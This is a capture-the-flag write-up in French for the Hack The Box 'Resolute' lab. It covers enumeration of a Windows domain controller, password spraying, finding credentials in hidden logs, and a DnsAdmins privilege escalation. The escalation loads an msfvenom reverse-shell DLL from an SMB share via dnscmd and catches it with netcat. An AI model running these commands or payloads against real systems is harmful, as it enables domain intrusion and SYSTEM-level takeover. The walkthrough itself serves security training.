HTB – Resolute – Write-up
Introduction
Une machine virtuelle sympathique pour améliorer ses connaissances durant les phases d’énumération sous Windows. La partie exploitation est également très intéressante et nous montre de nouvelles techniques.
Les informations que nous avons à notre disposition sont :
- IPv4 = 10.10.10.169
- Nom de la VM = resolute.htb (par défaut chez HTB)
J’ai utilisé une VM Kali Rolling pour cet article. La plupart des outils utilisés sont disponibles par défaut et certains seront à téléchargés.
Phase de reconnaissance
J’effectue un scan (TCP) complet de la machine virtuelle de cette manière :
nmap -A -T4 -sV -p1-65535 -Pn -n --stats-every 10 resolute.htb --min-rate 100 -oN nmap-resolute-complete.txt
Cela permet d’identifier tous les ports ouverts avec leurs services respectifs et c’est suffisamment rapide.
Voici la totalité des 24 ports (TCP) ouverts :
53/tcp open domain? 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-04-21 21:13:01Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49671/tcp open msrpc Microsoft Windows RPC 49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49677/tcp open msrpc Microsoft Windows RPC 49688/tcp open msrpc Microsoft Windows RPC 49712/tcp open msrpc Microsoft Windows RPC 51658/tcp open unknown
Je ne fais pas de scan des ports UDP.
Phase d’énumération 1/2
D’après les ports ouverts nous voyons qu’il s’agit un contrôleur de domaine. Nous allons tenter de chercher des utilisateurs du domaine MEGABANK.
Pour ce type de serveur, je mets systématiquement deux fichiers à jour : /etc/hosts et /etc/resolv.conf + un nptdate avec le serveur cela peut être utile si on doit jouer avec Kerberos. Et on valide également que le port UDP 123 est aussi ouvert :
root@HTB:~/HTB/Resolute# grep -iE '(megabank|10\.10\.10\.169)' /etc/hosts 10.10.10.169 resolute.htb MEGABANK.LOCAL root@HTB:~/HTB/Resolute# grep -iE '(megabank|10\.10\.10\.169)' /etc/resolv.conf search MEGABANK.LOCAL nameserver 10.10.10.169 root@HTB:~/HTB/Resolute# ntpdate resolute.htb 22 Apr 16:57:56 ntpdate[42105]: step time server 10.10.10.169 offset +616.300705 sec
Nous pouvons interroger le service MS-RPC de Windows à travers Samba/RPC et une Null session avec enum4linux, on récupère une liste de 27 utilisateurs :
abigail Name: (null) Desc: (null) Administrator Name: (null) Desc: Built-in account for administering the computer/domain angela Name: (null) Desc: (null) annette Name: (null) Desc: (null) annika Name: (null) Desc: (null) claire Name: (null) Desc: (null) claude Name: (null) Desc: (null) DefaultAccount Name: (null) Desc: A user account managed by the system. felicia Name: (null) Desc: (null) fred Name: (null) Desc: (null) Guest Name: (null) Desc: Built-in account for guest access to the computer/domain gustavo Name: (null) Desc: (null) krbtgt Name: (null) Desc: Key Distribution Center Service Account marcus Name: (null) Desc: (null) marko Name: Marko Novak Desc: Account created. Password set to Welcome123! melanie Name: (null) Desc: (null) naoki Name: (null) Desc: (null) paulo Name: (null) Desc: (null) per Name: (null) Desc: (null) ryan Name: Ryan Bertrand Desc: (null) sally Name: (null) Desc: (null) simon Name: (null) Desc: (null) steve Name: (null) Desc: (null) stevie Name: (null) Desc: (null) sunita Name: (null) Desc: (null) ulf Name: (null) Desc: (null) zach Name: (null) Desc: (null)
On découvre rapidement le user marko avec un mot de passe Welcome123! qui bien-sûr ne fonctionne pas. Ma stratégie de base est toujours tester les accès suivants pour chacun des comptes :
- mot de passe = username/logoname
- mot de passe = vide
- mot de passe = Welcome123! (suite à notre découverte)
Je vais construire un fichier users.txt contenant la liste des comptes et utiliser Metasploit avec le module smb_login, en modifiant quelques options :
msfconsole use auxiliary/scanner/smb/smb_login set blank_passwords true set rhosts resolute.htb set smbdomain MEGABANK set smbpass Welcome123! set user_as_pass true set user_file users.txt run
Un premier accès valide est identifié avec le compte de melanie :
Phase d’exploitation 1/2
Nous allons maintenant nous connecter au serveur et tenter obtenir un shell. Nous utiliserons l’outil Evil-WINRM qui offre beaucoup de fonctionnalités, cela fonctionne et nous obtenons le fichier user.txt :
evil-winrm -i resolute.htb -u melanie -p Welcome123!
Phase d’énumération 2/2
Avec cet utilisateur j’ai utilisé plusieurs outils afin d’automatiser la tâche comme WindowsEnum, Powerless and kerbrute mais je ne trouve rien.
Par contre, on découvre la présence d’un autre répertoire utilisateur, celui d’un certain Ryan…
Sur le forum HackTheBox on parle de fichiers cachés… je décide de suivre cette voie, cela me permet d’en apprendre un peu plus sur PowerShell.
La commande suivante va nous aider :
Get-ChildItem . -Force
Rapidement on trouve un répertoire intéressant :
Et en cherchant un peu on tombe sur un fichier texte qui ressemble à un fichier de log :
Bingo ! Le fichier contient les accès d’un second utilisateur, notre Ryan justement :
Nous nous connectons à nouveau avec l’outil Evil-WINRM et ce compte, et on peut voir un groupe local intéressant auquel il appartient, DnsAdmins :
whoami /all
Une simple recherche sur Internet avec les mots clés privilege escalation windows dnsadmins et on tombe sur cet article très instructif. Tous les détails dans ce second article.
Il semble possible d’executer du code, en l’occurence une dll, avec les droits du compte SYSTEM grâce au service dns.exe. Ce qui ne semble pas représenter une faille de sécurité pour Microsoft, seulement une mauvaise gestion des droits.
On va tenter cette méthode d’exploitation.
Phase d’exploitation 2/2
Il faut d’abord générer notre charge utile avec msfvenom (un fichier *.dll) :
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.19 LPORT=4444 --platform=windows -f dll > plugin.dll
Pour la suite j’utilise trois shell différents :
- Un Shell pour un serveur SMB temporaire avec Impacket
- Un Shell avec un listener pour obtenir un Reverse Shell avec Netcat
- Un Shell pour injecter notre Payload et redémarrer le service dns
Voici la commande executée dans le troisième Shell pour injecter notre charge utile :
dnscmd.exe resolute /config /serverlevelplugindll \\10.10.14.19\SHARE\plugin.dll
Et voici les trois fenêtres/Shell avec les différentes commandes executées, nous aboutissons au résultat voulu :
On lance le serveur SMB dans un shell :
cd /usr/share/doc/python3-impacket/examples/ ./smbserver.py SHARE ~/HTB/Resolute/
Dans un second shell on lance un port en écoute pour le reverse shell :
nc -nlvp 4444
Et dans le dernier, on redémarre le service DNS :
sc.exe stop dns sc.exe start dns
Nous pouvons donc récuperer le fichier root.txt :
Conclusion
J’ai bien aimé cette VM, une de mes favorites pour l’instant avec Sauna. Cela ouvre d’autres voies d’explorations et d’élévations de privilèges.
Par contre, je suis toujours surpris par le classement des VM sur le niveau de difficulté. Sauna était plus difficile à mon sens. Après, cela dépend certainement des compétences/connaissances de chacun et des affinités que l’on a avec telle ou telle technologie.